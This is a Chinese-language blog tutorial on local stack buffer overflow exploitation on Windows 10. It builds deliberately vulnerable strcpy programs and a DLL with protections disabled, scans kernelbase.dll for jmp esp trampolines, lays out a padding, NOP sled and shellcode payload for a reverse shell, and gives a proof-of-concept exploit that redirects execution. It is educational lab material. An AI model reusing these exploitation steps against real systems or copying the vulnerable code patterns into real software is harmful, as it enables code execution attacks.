本地缓冲区溢出分析

栈溢出是缓冲区溢出中最为常见的一种攻击手法,其原理是,程序在运行时栈地址是由操作系统来负责维护的,在我们调用函数时,程序会将当前函数的下一条指令的地址压入栈中,而函数执行完毕后,则会通过ret指令从栈地址中弹出压入的返回地址,并将返回地址重新装载到EIP指令指针寄存器中,从而继续运行,然而将这种控制程序执行流程的地址保存到栈中,必然会给栈溢出攻击带来可行性。

本次测试环境为Windows10系统+VS 2013编译器,该编译器默认开启GS保护,在下方的实验中需要手动将其关闭。

C语言中通常会提供给我们标准的函数库,这些标准函数如果使用不当则会造成意想不到的后果。

strcpy()                    vfscanf()
strcat()                     vsprintf()
sprintf()                    vscanf()
scanf()                     vsscanf()
sscanf()                   streadd()
fscanf()                    strecpy()

针对EXE文件的溢出利用

以下案例就是利用了 strcpy() 函数的漏洞从而实现溢出的,程序运行后用户从命令行传入一个参数,该参数的大小是不固定的,传入参数后由内部的 geting()函数接收,并通过strcpy()函数将临时数据赋值到name变量中,最后将其打印出来,很明显代码中并没有对用户输入的变量进行长度的限定。

#include <stdio.h>
#include <string.h>

void geting(char *temp){
	char name[10];
	strcpy(name, temp);
	printf("%s \n", name);
}

int main(int argc,char *argv[])
{
	geting(argv[1]);
	return 0;
}

直接保存为overflow.c然后执行 cl /Zi /GS- overflow.c 编译并生成可执行文件,参数中的/GS-就是关闭当前的GS保护。

C:\Users\LyShark\Desktop>cl /Zi /GS- overflow.c
用于 x86 的 Microsoft (R) C/C++ 优化编译器 18.00.21005.1

overflow.c
Microsoft (R) Incremental Linker Version 12.00.21005.1
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:overflow.exe
/debug
overflow.obj

接着我们需要在命令行界面中运行来启动调试器,其中第一个参数 overflow.exe 就是我们的程序名,第二个参数是传入命令行参数,我们首先传入一个正常大小的字符串。

C:\OllyICE> OllyICE.exe overflow.exe hello

载入上面所编写的 exe 程序。由于我们需要从 main 函数开始分析,但是OD并没有在main函数处停下,而是停在了程序的初始化部分,如下图所示:

上方这些代码并不是我们写的而是编译器自动生成的,这里我们无需关心这些代码片段,我们只需要找到程序的OPE入口即可,通过观察获取,这里经过不断地分析找到了程序的OEP 0012A1050,直接在此处下断点。

进一步分析后观察发现,下方代码就是我们程序中的 geting()这个函数,溢出也正是发生在这里的,注意堆栈变化。

这里由于我们传递了正常的参数,所以没有溢出,下图可看出程序正常返回并没有覆盖ESP/EIP等指针。

重新运行程序,然后输入一个超长字符串,这里我就输入一串 lysharkAAAAAAAAABBBB

上方截图可知,程序的返回地址已被BBBB等字母霸占了,当程序执行ret指令返回时,程序会在堆栈中取出42424242并将该地址赋值给EIP指针,而42424242这个地址是错误的指令,所以程序会报错。

除此之外还需要查找系统中的跳板指令,这里的跳板是程序中原有的机器码,其包括如 jmp esp,call esp,jmp ecx等,我们需要利用这些跳板指令完成对堆栈地址的定位。

再次运行程序,然后输入一个正常字符串 lyshark ,用OD载入,执行到main函数最后的位置,即retn语句处,此时我们关注一下esp寄存器所保存的值:

上图可知,现在esp中保存的值是012A1067,而在栈中这个地址对应的就是我们的返回地址,即我们下一条语句的位置。然后我们此时再按一下F8,单步执行,那么此时Geting()函数就会执行完毕:

我们还发现ESP指针的值会自动变成返回地址的下一个位置,而esp的这种变化,一般是不受任何情况影响的,因为堆栈的地址是动态变化的,所以我们才需要找到一个跳板函数来实现跳转到堆栈中布置好的ShellCode中去。

jmp esp 这条机器指令,在很多动态连接库中都存在,jmp esp的机器码是0xFFE4,我们可以编写一个程序,来在kernelbase.dll中查找是否存在jmp esp 指令,需要注意的是,这里必须查找程序中已经加载的动态链接库。

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
	BYTE *ptr;
	int position;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibrary("kernelbase.dll");
	ptr = (BYTE*)handle;

	for (position = 0; !done_flag; position++)
	{
		try
		{
			if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
			{
				int address = (int)ptr + position;
				printf("找到跳板指令:0x%x\n", address);
			}
		}
		catch (...)
		{
			int address = (int)ptr + position;
			printf("结束指针位置:0x%x\n", address);
			done_flag = true;
		}
	}
	getchar();
	return 0;
}

上方代码运行后,会得到一个跳板地址 0x76c2fb75 如下,当然其他的模块中可能存在更多的跳板指令。

我们手动将堆栈中的 424242 替换为 0x76c2fb75 注意该地址应该反写,如下所示:

当程序运行时,首先会ret返回,而程序返回会在堆栈中将 0x76c2fb75 这个内存地址回写到 EIP中,然后会执行第一次跳转,其跳转到 kernelbase.dll 中的 jmp esp 中。

观察发现,esp指针的地址是 013DFBE8 ,也就将当前程序的控制流指向了堆栈中,我们只需要在堆栈中布置好合理的ShellCode就可以执行任意代码。

至此该程序就分析完毕了,经过分析我们的ShellCode代码应该这样构建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode

这里的A 代表的是正常输出内容,其作用是正好不多不少的填充满这个缓冲区。
这里的B 代表的是 jmp esp 的机器指令,该处应该为 0x76c2fb75 。
这里的N 代表Nop雪橇的填充,一般的 20 个Nop左右就好。
这里 ShellCode 就是我们要执行的恶意代码啦。

输入方式应该是,当程序运行后会先跳转到 jmp esp 并执行该指令,然后jmp esp 会跳转到 nop雪橇的位置,程序的执行流会顺着nop雪橇滑向ShellCode代码,从而实现反弹Shell。

D:\OllyICE> OllyICE.exe overflow.exe Ax16 + jmp esp + nop x 20 + ShellCode

针对Dll文件的溢出利用

很多时候我们要分析的目标不是一个EXE可执行文件,而是一个DLL文件,这样的例子很多,比如Windows系统中有很多系统模块都是DLL文件,这些文件如果出现漏洞该如何利用呢?接下来我们将来研究针对DLL文件的利用方法,最后编写利用代码实现DLL文件的利用。

1.首先我们先来创建一个 ntdll.cpp 的可执行文件,其中有两个函数,一个是弹窗提示,而另一个则是字符串的拷贝函数,编译这个DLL文件。

#include <windows.h>
#include <iostream>
#pragma comment(lib,"User32.lib")

bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid){
	return true;
}

extern "C"__declspec(dllexport) void ntMsgBox(){
	::MessageBox(NULL,TEXT("hello lyshark"),TEXT("MsgBox"),MB_OK);
}

extern "C"__declspec(dllexport) void ntCheck(char *Code){
		char name[10];
		strcpy(name,Code);
		printf("Buffer Is: %s",Code);
}

C:\Users\> cl /c /GS- /EHsc ntdll.cpp
C:\Users\> link /dll ntdll.obj

接着我们通过缓冲区溢出漏洞,实现调用 ntCheck函数是,让其弹出 MsgBox 提示框,通过OD分析找到MsgBox地址是 0x5BAB1090 接着编写利用代码如下:

#include <windows.h>
#include <iostream>
#include <string.h>
typedef void(*MyPROC)(char *);

int main(){
	HINSTANCE libHandle;
	MyPROC Func;
	char DllName[] = "./ntdll.dll";
	libHandle = LoadLibrary(DllName);
	Func = (MyPROC)GetProcAddress(libHandle, "ntCheck");

	char Str[0x4096];
	 char source[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41" // 填充满缓冲区
		"\x90\x10\xab\x5b"                                                     // 跳转到MsgBox

	memcpy(Str,source,sizeof(source));
	(Func)(Str);
	FreeLibrary(libHandle);
	return 0;
}

随着编译器厂商和操作系统厂商的各种新技术的出现,这些传统的缓冲区溢出的利用已经变得非常困难了,所以以上笔记只能作为原理方面的研究,并没有实际价值。

posted @ 2019-08-30 11:43  lyshark  阅读(1178)  评论(0编辑  收藏  举报

loading... | loading...
博客园 - 开发者的网上家园